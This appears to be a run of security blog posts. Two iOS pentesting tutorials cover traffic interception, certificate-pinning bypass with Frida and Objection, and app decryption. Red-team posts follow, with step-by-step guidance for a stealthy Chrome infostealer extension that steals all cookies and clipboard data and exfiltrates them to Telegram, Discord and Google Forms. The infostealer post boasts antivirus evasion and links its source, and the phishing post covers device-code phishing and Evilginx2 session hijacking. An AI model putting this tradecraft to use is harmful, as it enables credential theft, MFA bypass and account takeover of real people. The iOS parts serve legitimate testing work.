Welcome to Part 3 of the Mastering iOS Pentesting series!

In Part 1 we jailbroke our devices (Dopamine on iPhone 7 iOS 15.8.5 and palera1n on iPhone X iOS 16.7.12). In Part 2 we built the full lab: shell access, scp/AirDrop transfers, Filza filesystem browsing, TrollStore permanent signing, and multiple IPA decryption methods (Frida-iOS-dump, DumpDecrypter, Filza manual).

Now we move to the highest-impact area in mobile pentesting: network security. Most critical vulnerabilities live here — leaked tokens, plaintext credentials, weak TLS, missing pinning, or insecure API calls. We follow OWASP MASVS v2 and MASTG network controls

Table of Contents for Part 3

1 Introduction & Recap

2 Connecting Burp Suite & Intercepting Traffic on iOS Device

2.1 Adding & Trusting the Burp CA Certificate on iOS

2.2 Why iOS Protects HTTPS from Interception (ATS, QUIC, DoH, Private Relay)

2.3 Solving “iOS Ignores Wi-Fi Proxy” Using Potatso VPN / SSL Kill Switch

3 Testing iOS Network Communication (OWASP MASVS & MASTG)

3.1 Testing Data Encryption on the Network (HTTPS Enforcement)

3.2 Identifying Insecure TLS Protocols & Weak Ciphers

3.3 Verifying Server Certificate Pinning

4 Bypassing Certificate Pinning

4.1 Method 1: SSL Kill Switch 3 (Tweak-Based Bypass)

4.2 Method 2: Frida Scripts (Dynamic Runtime Bypass)

4.3 Method 3: Objection (Frida Wrapper)

4.4 Method 4: Binary Patching (Advanced — Persistent)

5 Intercepting & Bypassing Flutter Traffic

5.1 Identifying Flutter Applications

5.2 Intercepting Flutter Network Traffic (Potatso VPN)

5.3 Bypassing Flutter SSL Pinning

5.3.1 Static Bypass Using reFlutter

5.3.2 Dynamic Bypass Using Frida

2. Connecting Burp Suite & Intercepting Traffic on iOS Device

2.1 Step-by-step to add & trust Burp certificate:

Follow the official PortSwigger guide to configure Burp for iOS: https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device

After trusting the Burp certificate on iOS, you would expect full HTTPS interception… but it will still not work fully for most apps and Safari.

2.2 Why iOS Protects HTTPS from Interception (Even After Trusting the CA):

iOS intentionally prevents HTTPS interception — even after you trust a custom CA — by using multiple security layers:

• Strict TLS enforcement (ATS + CFNetwork): iOS blocks user-installed CAs for most HTTPS traffic unless the CA is Apple-signed, MDM-pushed, or the app explicitly opts out (which Apple apps don’t).
• Modern protocols & encrypted DNS: Safari prefers HTTP/3 (QUIC) and uses DoH/DoT, both of which bypass traditional proxy interception.
• Proxy bypass mechanisms: iCloud Private Relay and security-critical Apple endpoints route traffic around manual proxies.

Result: Tools like Burp usually only see CONNECT requests (or nothing). Full HTTPS request/response data remains encrypted and inaccessible.

2.3 Solution: Use Potatso VPN or SSL kill switch 3 to Fix “iOS Ignores Wi-Fi Manual Proxy”

Potatso is exactly the kind of app that fixes this problem — it creates a system VPN/tunnel and forces all device traffic through the proxy you configure. That’s why you saw HTTPS traffic reach Burp on your other device.it runs as a system VPN, it doesn’t rely on the Wi-Fi “Manual Proxy” setting. it captures and reroutes system traffic, so Burp gets the TLS CONNECTs and can MITM (provided the Burp CA is trusted).

Configure Potatso proxy:

1. Open Potatso → Manual input “add” OR Profiles / Proxies → Add new proxy:

• Type: HTTP (or SOCKS5 if you prefer; Burp supports both — HTTP is easiest)
• Host: <your-laptop-ip> (e.g., 192.168.1.10) & Port: 8080 then Save

• Toggle the profile ON — iOS will show the VPN icon in the status bar.
• Potatso will request permission to add a VPN profile — allow it.

note: make sure invisible proxying enabled and Device connected to same Wi-Fi as laptop

• Open the browser, and you will find all traffic intercepted.

3. Testing iOS Network Communication (OWASP MASVS & MASTG)

We group all core tests here with direct references to OWASP MASVS v2 and MASTG — the standards every mobile pentester uses.

2.1 Testing Data Encryption on the Network (HTTPS Enforcement)

MASVS V2: MASVS-NETWORK-1 MASTG: MSTG-NETWORK-1

Goal: Confirm the app enforces HTTPS for all requests — no cleartext HTTP fallback (even if Info.plist appears to block it).

Steps (now that traffic is visible):

1. Open Potatso and Burp listener active.
2. Launch the target app (DVIA-v2, iGoat-Swift, or real app).
3. Perform actions that trigger network calls: login, fetch user data, submit forms, etc.
4. In Burp HTTP history or Proxy > Intercept:

• Look for any HTTP requests (not HTTPS) — these appear in plain text (red flag = vulnerability).
• Check request URLs: all should start with https:// — any http:// means plaintext transmission.

5. Cross-check Info.plist (from decrypted IPA in Part 2):

• Open in Filza or unzip IPA → Search for NSAllowsArbitraryLoads.
• If YES → App allows HTTP anywhere (insecure).
• Look for NSExceptionDomains allowing HTTP exceptions.

2.2 Insecure TLS Protocols in Network Traffic

MASTG-TEST-0218: Insecure TLS Protocols in Network Traffic

Goal: Detect use of deprecated TLS versions (1.0 or 1.1) or weak ciphers.

all device traffic can be captured in Wireshark without modifying the iOS system, making it ideal for analyzing app communication and network behavior during iOS security testing.

Assessment:

• TLS 1.0 / 1.1 or weak ciphers → ❌ Vulnerability (downgrade attacks, MITM possible)
• TLS 1.2+ with strong ciphers only → ✅ Secure

2.3 Verify Server Certificate Pinning

MASVS V2: MASVS-NETWORK-2 MASTG: MSTG-NETWORK-4

Goal: Confirm the app enforces certificate or public-key pinning.

Steps:

1. Potatso + Burp proxy active (CA trusted).
2. Trigger HTTPS request in the app.
3. Expected behavior (pinning present):

• App fails to connect → SSL/TLS error or “certificate not trusted” message.

4. Vulnerable behavior (no pinning or weak):

• Traffic flows normally through Burp → You see full request/response bodies.
• This confirms the app accepted Burp’s fake certificate → No pinning.

4. Bypassing Certificate Pinning

Let’s open the DVIA v2 vulnerable app > Network Layer Security > click Send using certificate pinning & send using public key pinning.and attempt to intercept its network traffic.

The application enforces network-layer security using certificate pinning. As a result, when we try to proxy the traffic, the application fails to establish a secure connection and throws an SSL/TLS error.

To successfully intercept the traffic, we must use one of the below bypass methods:

Method 1: SSL Kill Switch 3 Tweaks (Fastest & Easiest)

• add this repo https://repo.misty.moe/apt to Sileo/Zebra → Search “SSL Kill Switch 3” → Install it and click on Restart SpringBoard.

• Go to Settings → SSL Kill Switch → Enable Disable Certificate Validation

• Re-open DVIA 2 vulnerable app > Network Layer Security > click Send using certificate pinning & send using public key pinning.

• Traffic should now fully proxy through Burp

Method 2: Frida Scripts (Dynamic & Powerful)

Frida is one of the most flexible and reliable ways to bypass certificate pinning at runtime — it hooks into the app’s SSL/TLS validation functions and forces them to accept Burp’s fake certificate. This method works extremely well on most apps (including those with anti-debugging), even when tweaks like SSL Kill Switch fail.

Prerequisites (recap from Part 2):

• Frida server installed and running on the jailbroken device (via Sileo → https://build.frida.re repo).
• Frida tools installed on your laptop: pip install frida-tools (or pipx install frida-tools).
• Device connected via USB (recommended) or same Wi-Fi network.
• Burp listener active (iproxy 8080 8080 or Wi-Fi proxy) + CA trusted.

Step-by-step:

1. List installed / running apps to get the Bundle ID

frida-ps -Uai | grep -i dvia

• Copy the Bundle ID (e.g., com.highaltitudehacks.DVIAswiftv2).

2. Try codeshare Frida scripts

These are pre-written, community-tested scripts that disable common pinning implementations.

• Attach to running app (recommended — no restart needed):

frida -U -N com.highaltitudehacks.DVIAswiftv2 - codeshare lichao890427/ios-ssl-bypass
frida -U -N com.highaltitudehacks.DVIAswiftv2 - codeshare snooze6/ios-pinning-disable
frida -U -N com.highaltitudehacks.DVIAswiftv2 - codeshare federicodotta/ios13-pinning-bypass
frida -U -N com.highaltitudehacks.DVIAswiftv2 - codeshare dki/ios10-ssl-bypass

• Or spawn (launch) the app fresh with script:

frida -U -f com.highaltitudehacks.DVIAswiftv2 -l bypass1.js

3. If codeshare scripts fail — try custom or alternative scripts Some apps use non-standard pinning (e.g., TrustKit, custom NSURLSession delegates, or Flutter/Dart pinning). Download and use these:

• TheBountyBox / Awesmoe Frida Scripts (highly recommended collection): https://github.com/TheBountyBox/Awesmoe-Frida-Scripts

• App launches with pinning disabled → Full HTTPS in Burp.

Method 3: Objection (Frida CLI Wrapper)

Objection is a powerful, high-level wrapper around Frida that simplifies runtime exploration and bypassing of iOS security controls — including certificate pinning — with simple commands.

• pip install objection (if not already).
• List installed apps frida-ps -Uai | grep -i dvia
• Launch Objection & Disable SSL Pinning

objection -n com.highaltitudehacks.DVIAswiftv2 start

ios sslpinning disable

Method 4: Binary Patching (Advanced — Persistent)

Binary patching is an advanced technique that achieves a persistent SSL pinning bypass by statically modifying the application binary.

This approach is especially useful when applications implement anti-instrumentation, anti-debugging, or Frida detection, or when a long-term and restart-resistant bypass is required.

We will demonstrate this technique in the binary patching and jailbreak detection bypass part.

5. Intercepting & Bypassing Flutter Traffic

Flutter applications on iOS implement their own networking stack inside the Flutter engine, which means traditional iOS interception techniques (ATS configuration, NSURLSession hooks, system proxy settings) often do not work. As a result, Flutter apps require special identification and handling during penetration testing.

5.1 Identifying a Flutter Application

Before attempting interception, confirm that the target application is built with Flutter. A reliable indicator is the presence of the following framework inside the app bundle:

Payload/Runner.app/Frameworks/Flutter.framework/Flutter

If this framework exists, the application is using Flutter’s engine-level TLS implementation, and standard iOS SSL pinning bypass techniques may fail.

5.2 Intercepting Flutter Network Traffic

Potatso (Best Option — Worked Successfully)

Potatso operates as a local VPN on iOS and was able to intercept Flutter traffic reliably without requiring additional runtime tooling.

5.3 Bypassing Flutter SSL Pinning

Flutter applications typically enforce TLS verification inside the Flutter engine, making standard iOS pinning bypass scripts ineffective. Two main approaches can be used:

Method 1: Static Bypass Using reFlutter

reFlutter allows repackaging a Flutter IPA with TLS verification disabled at the engine level.

Workflow:

1. Repatch the original IPA using reFlutter
2. Re-sign and install the patched application
3. Intercept traffic using Potatso

This method was successfully used during a real penetration testing engagement, where Flutter TLS pinning initially blocked interception.

Proof of Concept Included:

• TLS handshake failure before patching

• Successful reFlutter patch applied to the IPA

• Full HTTPS traffic interception after patching

Method 2: Dynamic Bypass Using Frida

As an alternative, Flutter TLS verification can be bypassed dynamically using Frida-based scripts, such as:

• disable-flutter-tls-verification

Dynamic bypass is useful for quick analysis, but static patching remains the preferred approach for long-term testing.

Stay tuned for Part ,where we will test jailbreak detection mechanisms and iOS Platform APIs.

if you find this blog useful, don’t forget to hit the clap button and follow the blog.

#MasteringiOSPentesting #Jailbreak #MobileSecurity

Certifications:
OSEC3, CRTL, CRTO, OSCP, OSEP, OSWE, OSED, eMAPT … Others

Follow me on LinkedIn & Twitter(X) to stay updated and to know new things.

Bye Bye, Take Care.

Part 3 — Intercepting HTTPS Traffic, Bypassing Certificate Pinning & Flutter Protections (Testing… was originally published in SUDOROOT on Medium, where people are continuing the conversation by highlighting and responding to this story.

Welcome back to the Mastering iOS Pentesting series! In Part 1, we successfully jailbroke our test devices (Dopamine on iPhone 7 iOS 15.8.5 and palera1n on iPhone X iOS 16.7.12). With root access unlocked, we’re ready to install tools, access the shell, handle IPAs, and intercept traffic.

This part focuses on the essential post-jailbreak workflows for real pentesting: remote/local shell, file transfers and manager, signing & installing ipa apps, decrypting installed apps (IPA dumping). We’ll use vulnerable apps like DVIA-v2, iGoat-Swift, and OWASP MASTG crackmes for examples.

Table of Contents for Part 2

1. Introduction & Recap

• From jailbreak to post-jailbreak workflows & Vulnerable apps used in demos

2. Package Managers — Sileo & Zebra

3. Remote Shell Access (SSH) & USB Forwarding

• Install & connect OpenSSH
• USB iproxy forwarding & troubleshooting

4. On-Device Local Shell Access

• Install & use NewTerm

5. File Transfers Between Device & PC

• scp examples (Wi-Fi & USB) & AirDrop alternative
• Fix host key errors

6. Installing Filza File Manager

• Installation & key pentesting paths
• Quick usage tips

7. Signing & Installing Apps (TrollStore Focus)

• Temporary methods recap
• Permanent install with TrollStore

8. Dumping & Decrypting App Store IPAs

• Why needed
• Primary methods: DumpDecrypter, Frida-iOS-dump, Filza manual
• Other Methods (summary)

Step 2: Package Manager (Sileo & Zebra)

(Note: We already handled the initial installation of Sileo and Zebra directly during the jailbreak process in Part 1 — via the Dopamine app prompt or palera1n app. Both jailbreaks bundle and install them automatically when you select the package managers and complete the respring.)

If they didn’t install, got removed, or you need to reinstall/refresh

Note: https://ios-repo-updates.com (very useful — to find and install any tweaks: open ios-repo-updates.com in Safari, search for the tweak name, and it will show you the exact repo/source to add in Sileo/Zebra)

Tip: Use both Sileo (speed) and Zebra (better UI/browsing). Avoid adding too many repos at once to prevent conflicts or slow refreshes.

Step 3: Shell Access — Remote SSH & Localhost forwarding via USB

Install OpenSSH on both jailbreak methods

1. In Sileo (or Zebra):

• Go to Search tab.
• Search for OpenSSH (usually from Procursus repo — it should already be added by default).
• Install the latest version.

2. After installation, SSH service should auto-start. (Password was set during jailbreak success)

3. Connect from your PC/Mac to jailbroken device:

• Find device IP: Settings → Wi-Fi → [your network] → IP Address (e.g., 192.168.1.42)
• Terminal command (Default user is mobile):

ssh mobile@192.168.1.42

• Once inside:

sudo su

4. If you still can’t connect:

• Reboot userspace (respring) or toggle Airplane Mode off/on.
• Check if OpenSSH is running: In NewTerm → ps aux | grep sshd

5. Localhost forwarding option (via USB):

• On PC: Run iproxy 2222 22 (install libimobiledevice first: brew install libimobiledevice)
• Then connect: ssh -p 2222 mobile@localhost

Step 4: Access the Device (On-Device Shell) — Local on iPhone

Install a terminal app to get a full shell directly on the device (useful when no PC is nearby).

On both jailbreak methods (Dopamine & palera1n):

1. Open Sileo (or Zebra).
2. Go to Sources → Chariz (or search globally).
3. Search for: NewTerm (recommended — modern, supports root) or NewTerm 2

4. Install → Respring if prompted.

5. Open NewTerm from Home Screen.

• You start as mobile user → type su or sudo su → enter your password to become root.
• Now you have a full local terminal on the iPhone.

Step 5: Transferring Data Between Device and PC (scp, AirDrop)

1. Copy file from PC → Mobile

• Via direct remote SSH (Wi-Fi):scp ~/Downloads/my-app.ipa mobile@192.168.1.42:/var/mobile/Documents/
• Via USB forwarding (recommended for reliability): iproxy 2222 22 scp -P 2222 ~/Downloads/Nhccommunity.ipa mobile@localhost:/var/mobile/Documents/

2. Copy file from Mobile → PC

• Via remote SSH (Wi-Fi IP): scp mobile@192.168.1.42:/var/mobile/Media/DCIM/100APPLE/IMG_0001.JPG ~/Desktop/
• Via USB forwarding:iproxy 2222 22 scp -P 2222 mobile@localhost:/var/containers/Bundle/Application/093C6930-8B9E-4D9E-874D-D31B28AAF48E/music.ipa .

3. Copy a folder recursively

scp -r root@192.168.1.42:/var/mobile/Containers/Data/Application/ ./app_data_backup/

4. Quick help / syntax reminder

scp mobile@<IP>:<path_on_device> <local_destination>
scp -P 2222 mobile@localhost:<remote_path> <local_path>

5. Solve “Host key verification failed” again

ssh-keygen -R "[localhost]:2222"
# or
ssh-keygen -R "[127.0.0.1]:2222"

Alternative: AirDrop — Enable on both Mac and iPhone → right-click file → Share → AirDrop (fast for small files).

Setp 6: Installing Filza File Manager (Essential Filesystem Explorer)

Filza is the go-to on-device file manager for iOS pentesting. It lets you browse the full filesystem (including /var/mobile/Containers/, app sandboxes, /Library/Preferences/, keychain files, and more), edit plists, view databases (SQLite/Realm), extract IPA contents, and much more — all graphically without needing a PC.

Quick Installation Steps (Dopamine & palera1n):

1. Open Sileo (preferred) or Zebra.
2. Search for Filza or Filza File Manager.
3. Install the latest version (by Tigisoftware, usually 4.x in 2026).
4. Respring if prompted (or manually: hold power + volume up, or in NewTerm: killall -9 SpringBoard).
5. Open Filza from Home Screen (blue folder icon with white “F”).

• Grant full access (jailbreak allows it).
• Navigate to key paths:
• /var/mobile/Containers/Bundle/Application/ → Installed apps
• /var/mobile/Containers/Data/Application/ → App data & sandboxes
• /var/mobile/Library/Preferences/ → Plist configs
• /var/mobile/Documents/ → Transferred files/IPAs

Quick Tips for Pentesting:

• Use the search magnifying glass to find files fast (e.g., “.plist”, “keychain”).
• Long-press any file → Open in Hex/Text/SQLite viewer.
• To extract .ipa: Tap file → View Contents → Explore Payload/YourApp.app/.
• Run as root (toggle in Filza settings) for full read/write.

Step 7: Signing & Installing Apps

Two main approaches:

• SideLoadly / AltStore / 3uTools — Safe, temporary sideloading (7-day limit) — even on non-jailbroken devices. (We mentioned SideLoadly in Part 1 for installing Dopamine itself.)
• TrollStore — Permanent installs (no expiry) — ideal for jailbroken devices or exploitable versions. Perfect for pentesting tools and vulnerable apps.

TrollStore Installation (Jailbroken with palera1n or Dopamine-compatible)

1. Open your package manager (Sileo / Zebra).
2. Search and install TrollStore Helper.

3. After install → Home Screen → open TrollHelper app.

4. Inside TrollHelper → tap Install TrollStore.

5. Wait — device will respring.

6. TrollStore icon appears on Home Screen.

7. Open TrollStore → tap Install Persistence Helper → choose any system app (e.g., Tips.app or Measure) to make it permanent.

8. Now you can install any .ipa permanently:

• Transfer IPA to device (via scp, AirDrop, Filza).
• In Filza → tap the .ipa → Share → Open in TrollStore → Install.

How it works: Exploits CoreTrust bug → bypasses Apple signing limits. Limitations: Only works on supported iOS versions with the vulnerability.

Step 8: Dumping & Decrypting App Store IPAs (Essential for Static Analysis)

App Store binaries are encrypted — to perform proper reverse engineering, look for hardcoded secrets, patch binaries, or analyze frameworks, you need a decrypted .ipa. All effective methods require a jailbroken device (as set up in Part 1).

We’ll cover them in order of current real-world preference in 2026 pentesting workflows:

1. DumpDecrypter (easiest on-device GUI)
2. Frida-iOS-dump (most powerful & reliable — primary recommendation)
3. Filza manual bundle extraction (quick fallback)
4. Others (iMazing & legacy tools — summary only)

Method 1: DumpDecrypter (GUI — Beginner Friendly)

DumpDecrypter is a jailbreak utility that decrypts App Store–installed iOS applications directly on a device. It produces decrypted .ipa files for analysis, reverse engineering, or personal backup.

Installation:

1. Open your package manager (Cydia, Sileo, Zebra, etc.).
2. Navigate to Sources → Edit → Add.
3. Add a trusted repository URL, e.g.:

• https://jailrepo.initnil.com
• https://invalidunit.github.io/netskao-archive/

4. Refresh sources and search for DumpDecrypter or DumpDecrypter-Rootless

5. Tap Install, then Respring or Reboot your device.

6. Launch DumpDecrypter from your home screen.

Usage:

1. Open DumpDecrypter.
2. Select the target app e.g. TikTok from the list (must be installed; launch it once if needed).
3. Wait for decryption (progress bar shown).
4. Decrypted.ipa saves automatically to: /var/mobile/Documents/DumpDecrypter/ (or similar — check app info).

5. Transfer via SSH (USB forwarding example):

iproxy 2222 22
scp -P 2222 mobile@localhost:/var/mobile/Documents/DumpDecrypter/TikTok.ipa .

Pros: One-tap simplicity, no computer needed.

Cons: Crashes/fails on apps with anti-debugging or strong runtime protections.

Method 2: Frida-iOS-dump (CLI from Computer)

Frida-iOS-dump is the gold standard in 2026 for pentesting — it dumps from memory while the app runs, bypassing many protections that kill on-device dumpers.

Prerequisites:

• Frida server on device: Sileo → Add https://build.frida.re → Install “Frida”.
• Frida tools on PC: pip install frida-tools (or pipx).
• USB preferred: iproxy 2222 22

Steps:

1. List running apps & get Bundle ID / display name: frida-ps -Ua

(If multiple devices connected: frida-ls-devices → frida-ps -D <id> -Ua)

2. Clone & prepare (once):

git clone https://github.com/AloneMonkey/frida-ios-dump.git 
cd frida-ios-dump 
pip3 install -r requirements.txt

3. Forward SSH over USB: iproxy 2222 22

4. Dump (app must be open/foreground): python3 dump.py "App Display Name" --user mobile --password faris --output decrypted-app.ipa

or by Bundle ID: python3 dump.py com.example.app --user mobile --password faris --output term.ipa

Advantages: Handles anti-debugging/anti-hooking very well, clean decrypted binaries, remote control.

Method 3: Quick Fallback Method: Filza Manual Bundle Extraction

When Frida or DumpDecrypter fail, manually grab the decrypted bundle from disk (works if app was running and decrypted in memory).

1. Open Filza.
2. Go to: /var/containers/Bundle/Application/ → Find app’s UUID folder.
3. Inside: Long-press YourApp.app → Copy.
4. Create folder Payload in /var/mobile/Documents/ (or elsewhere).
5. Paste YourApp.app inside Payload.
6. Long-press Payload → Compress/Zip → Rename zip file to YourApp.ipa.

• Or via SSH/NewTerm (as root):cd /path/to/Payload && zip -r ../YourApp.ipa YourApp.app

7. Transfer:scp -P 2222 mobile@localhost:/var/mobile/Documents/YourApp.ipa .

Limitation: Only extracts what’s already decrypted on disk — not full runtime decryption for heavily protected apps.

Other Methods (Summary — Use Sparingly)

• iMazing (no jailbreak needed): GUI backup tool from computer (imazing.com). Can extract some app data, but cannot fully decrypt modern App Store binaries (only partial/unusable for RE). Trial limited — mention only for non-jailbroken scenarios.
• IPA Installer (legacy): Old CLI tweak (ipainstaller -b <bundleid>) — almost never works reliably in 2026. Deprecated — skip unless you have a very old setup.

Once you have the decrypted .ipa, unzip it and start static analysis (Info.plist, Mach-O in Hopper/Ghidra, frameworks, etc.).

Stay tuned for Part 3 — where we defeat iOS network protections and perform real traffic analysis!

if you find this blog useful, don’t forget to hit the clap button and follow the blog.

#MasteringiOSPentesting #Jailbreak #MobileSecurity

Certifications:
OSEC3, CRTL, CRTO, OSCP, OSEP, OSWE, OSED, eMAPT … Others

Follow me on LinkedIn & Twitter(X) to stay updated and to know new things.

Bye Bye, Take Care.

Mastering iOS Pentesting: Part 2 — Shell Access, File Transfers, IPA-App Signing, TrollStore & IPA… was originally published in SUDOROOT on Medium, where people are continuing the conversation by highlighting and responding to this story.

In this part of the “Mastering Modern Red Teaming Infrastructure” series, we explore the design and deployment of a stealthy Chrome extension tailored for red team simulations. This tool is built to silently extract valuable session data such as all saved browser cookies (including Azure AD), clipboard content, and device fingerprints and exfiltrate them on Telegram, Discord and Google form while maintaining strong OPSEC.

Disclaimer: This is meant for educational and simulation purposes only.

Table of Contents

1. VirusTotal AV Bypass Verification
2. Red Team Extension Design & Features

• Cookie Exfiltration
• Clipboard Data Capture
• Device Fingerprinting
• Tab Monitoring
• Stealthy OPSEC Measures
• Extension Persistence

3. Building the Malicious Chrome Extension: POC Code

4. Setup Exfiltration Channels

• Telegram Bot Setup
• Discord Webhook Setup
• Google Form Setup

5. Hijacking Sessions Using Stolen Cookies (Manual or Automated)

6. Real-World APT Reference

7. Final Thoughts

1. VirusTotal AV Bypass Verification

To test the stealthiness of our Chrome extension, we generated a packed version and submitted it to VirusTotal for analysis. The results confirmed that none of the 61 antivirus (AV) engines flagged the extension as malicious, demonstrating its ability to evade detection.

VirusTotal Scan Results:

No AV detected the extension as malicious.

This confirms the effectiveness of the implemented OPSEC measures, including
✅ No static signatures matching known threats
✅ Randomized network requests to avoid pattern detection
✅ Encrypted exfiltration channels to bypass heuristic analysis
✅ Stealthy background execution without console logs or suspicious behaviors

Such results reinforce the need for blue teams to improve defenses against malicious browser extensions, as traditional antivirus solutions are ineffective in detecting these types of threats.

2. Red Team Extension Design & Features

2.1 Cookie Exfiltration

Captures all saved cookies across domains, not just Azure-related ones. Cookies are formatted into structured JSON for easier importing using browser extensions or automation tools.

Sample structure:

[
  {
    "domain": ".example.com",
    "name": "sessionid",
    "value": "abc123",
    "path": "/",
    "httpOnly": true,
    "secure": true
  },
  ...
]

2.2 Clipboard Data Capture

Hooks into the clipboard to capture sensitive copied text.

⚠️ Clipboard access may be restricted depending on the Chromium version and whether the access occurs in a background context. In practice, capturing clipboard content reliably may require tab injection.

2.3 Device Fingerprinting

Captures:

• User agent
• Screen resolution
• Platform
• Timezone
• Language

2.4 Tab Monitoring

Watches for tab focus or changes and logs tab titles and URLs for behavior profiling.

2.5 Stealthy OPSEC Measures

• No console logs
• All fetches are async and silent
• Randomized intervals
• Avoids detection from standard monitoring tools

2.6 Extension Persistence

The extension uses a background service worker and manifest to ensure it reloads upon browser restart.

The extension is also set to auto-reinstall if removed via a controlled enterprise policy simulation in the lab.

3. Building the Malicious Chrome Extension: POC Code

The core functionality is divided into background, content, and utility scripts. Below is a simplified outline of the payload structure.

manifest.json

{
    "manifest_version": 3,
    "name": "Authorized Red Team Extension - Advanced APT Simulation",
    "version": "3.0",
    "description": "Chrome extension for red team simulation in an isolated lab with full authorization.",
    "permissions": [
      "cookies",
      "history",
      "tabs",
      "clipboardRead",
      "storage"
    ],
    "host_permissions": [
      "<all_urls>"
    ],
    "background": {
      "service_worker": "background.js"
    },
    "action": {
      "default_title": "Diagnostics"
    }
  }

background.js (core logic on my Github)

Infostealer-Extension/background.js at main · 0xFFF-cmd/Infostealer-Extension

Load the Extension

1. Open Chrome and navigate to:

chrome://extensions/

2. Enable Developer Mode.

3. Click “Load Unpacked”.

4. Select the extension Infostealer-Extension folder.

The extension silently runs and starts collecting session cookies and others in the background and exfiltrates the data

4. Setup Exfiltration Channels

4.1 Telegram Bot Setup

To set up Telegram exfiltration:

1. Open Telegram and talk to @BotFather
2. Create a new bot: /newbot
3. Copy your BOT_TOKEN
4. Send a message to your bot.
5. Visit: https://api.telegram.org/bot<YOUR_BOT_TOKEN>/getUpdates
6. Copy your chat.id

4.2 Discord Webhook Setup

1. Open a Discord server.
2. Go to Channel Settings > Integrations > Webhooks
3. Create a webhook and copy the full URL: https://discord.com/api/webhooks/WEBHOOK_ID/WEBHOOK_TOKEN

4.3 Google Form Setup

1. Create a Google Form with a paragraph field for cookie data.
2. Open the form preview, inspect the input, and get the entry.<id> value.

const GOOGLE_FORM_URL = "https://docs.google.com/forms/d/e/.../formResponse";
const FORM_COOKIE_FIELD = "entry.717920838";

5. Hijacking Sessions Using Stolen Cookies (Manual or Automated)

You can use the exfiltrated cookies by importing them with browser tools such as:

• EditThisCookie
• Cookie-Editor
• Burp Suite for replaying API calls

Automation Tip: Use Puppeteer or Playwright with page.setCookie(...) to automate session hijacking in simulations.

6. Real-World APT Reference

This simulation emulates tactics observed in:

• APT29 (Cozy Bear): Credential and token theft via browser extensions.
• APT40: Targeted cookie/session hijacking in cloud environments.
• UNC2452 (SolarWinds breach): Advanced OPSEC and stealthy data exfiltration.

7. Final Thoughts

This simulation highlights the risk of browser extensions — particularly those with cookie access. It demonstrates how stolen session cookies can bypass MFA and enable full access to critical application and cloud accounts.

Red teams Takeaways

🔥 Can be used for targeted session hijacking in phishing campaigns
🔥 Ideal for USB-drop or insider threat simulations
🔥 Demonstrates how browser extensions remain a major attack vector

Blue teams Defenses:

🔹 Implement strict extension allowlists
🔹 Monitor for cookie exfiltration attempts
🔹 Detect logins from unusual geographies and device fingerprints

Next: Deeper Into The Shadows

In the next part, we push further into 2FA bypasses, hardcore credential theft, and social engineering exploits, exploring:

🔹 Browser-in-the-Browser (BitB) illusions
🔹 Click-Fix exploits
🔹 Captcha Copy-Paste traps

Stay tuned for Part 9.

If you find this blog useful, don’t forget to hit the clap button and follow the blog.

Certifications:
OSEC3, CRTL, CRTO, OSCP, OSEP, OSWE, OSED, eMAPT … Others

Follow me on LinkedIn & Twitter(X) to stay updated and to know new things.

Bye Bye, Take Care.

Mastering Modern Red Teaming Infrastructure — Part 8: Simulating APT Infostealer via Stealthy… was originally published in SUDOROOT on Medium, where people are continuing the conversation by highlighting and responding to this story.

With organizations heavily relying on MFA/2FA for protection, red teamers and threat actors have adapted.
They no longer just steal passwords — they steal access by hijacking tokens, abusing OAuth flows, and bypassing 2FA completely.

In Part 7 of the “Mastering Modern Red Teaming Infrastructure” series, I will walk you through practical 2FA bypass attacks that simulate real-world adversaries include Device Code Phishing, Dynamic Device Code Flows, Consent and Permissions Attacks, and Evilginx2-based Session Hijacking.

Each technique includes a clear step-by-step flow based on modern offensive tradecraft.

Table of Contents

1. Device Code Phishing — Static Approach
2. Evilginx2— Man-in-the-Middle Phishing with Session Hijacking
3. Dynamic Device Code Phishing — Live Code Phishing
4. Consent and Permissions Phishing (OAuth Consent Grant)
5. Why These Attacks Work
6. Real-World APT Examples: Who Uses These Techniques?
7. Final Thought

1. Device Code Phishing — Static Approach

Concept: Abuse the OAuth 2.0 Device Authorization Grant to capture authenticated sessions without stealing passwords.

Device Code Phishing exploits the OAuth 2.0 Device Authorization Grant flow by tricking victims into authorizing a malicious application. Attackers convince users to visit a legitimate cloud provider’s domain — such as Microsoft’s microsoft.com/devicelogin or Google’s google.com/device — and enter a legitimate-looking code. Once the victim submits the code and grants consent, the attacker obtains access tokens to access the victim’s resources, bypassing traditional credential-based protections and even multi-factor authentication (2FA).

This method is highly dangerous because it often bypasses traditional MFA protections — the authentication happens separately and outside the phishing page itself.

⚡ Microsoft Warning:
In February 2025, Microsoft issued a strong caution regarding Storm-2372, an active APT group conducting widespread Device Code Phishing campaigns targeting Microsoft 365 users. (Source)
Microsoft emphasized that this technique is rapidly growing among APTs because it abuses legitimate device login workflows and stealthily bypasses MFA.

Device Code Phishing is no longer theoretical; it is now widely exploited in the wild by advanced threat actors for gaining persistent access to cloud environments without raising standard alerting mechanisms.

Steps:

1.1 Initiate Device Code Request (I will use the TokenTactics tool):

1.2. Send Phishing Email

• Email user with a link to https://microsoft.com/devicelogin
• Instruct user to enter the provided user_code (you control it). here the code is LCSDQKUPQ

1.3. Poll for Authentication

When the victim enters the code and logs in, you immediately receive an access token.

1.4. Access Victim’s Resources

Use the stolen victim token to call graph APIs and access (e.g., Outlook, OneDrive, Teams, SharePoint, and other company user PII info).

You can use my tool on GitHub or another to access and search/download a victim’s Office 365 emails using their stolen access token.

GitHub - 0xFFF-cmd/GraphHook: It allows users to access and search emails from Office 365 accounts using stolen OAuth tokens. can extract and analyze email data, search locally within email subjects and bodies, download email attachments, and more. It's an efficient way to automate email reconnaissance and data extraction from compromised accounts.

Note: This code assumes the token is authorized for Mail.Read or Mail.ReadWrite scopes. Always ensure you have proper authorization when using Microsoft Graph.

2. Evilginx2 — Man-in-the-Middle Phishing with Session Hijacking

Concept : proxy real login pages while silently stealing credentials and session cookies.

✅ Result : Full session hijack even against hardware-backed MFA.

Steps :

2.1 Open Evilginx2

2.2 Add Your Domain and IP and Hostname to Evilginx2

2.3 Enable Office 365 module and create lure (landing page) + list it to see phishing URL page.

2.4 Send an email or SMS to the victim containing a link to the Evilginx landing page (https://login.online-notifications.net/kVQhKKxf). and the client opens it.

2.5 After the victim completes authentication with the 2FA, all his session cookies and email and password will be received on the Evilginx backend.

2.6 Replay Session : I will inject the victim's cookies into the browser and access his account portal or Azure service.

3. Dynamic Device Code Phishing — Live Code Phishing

Traditional Device Code Phishing requires sending a static user_code to the target, relying on them to act quickly before the code expires (typically within 15 minutes).
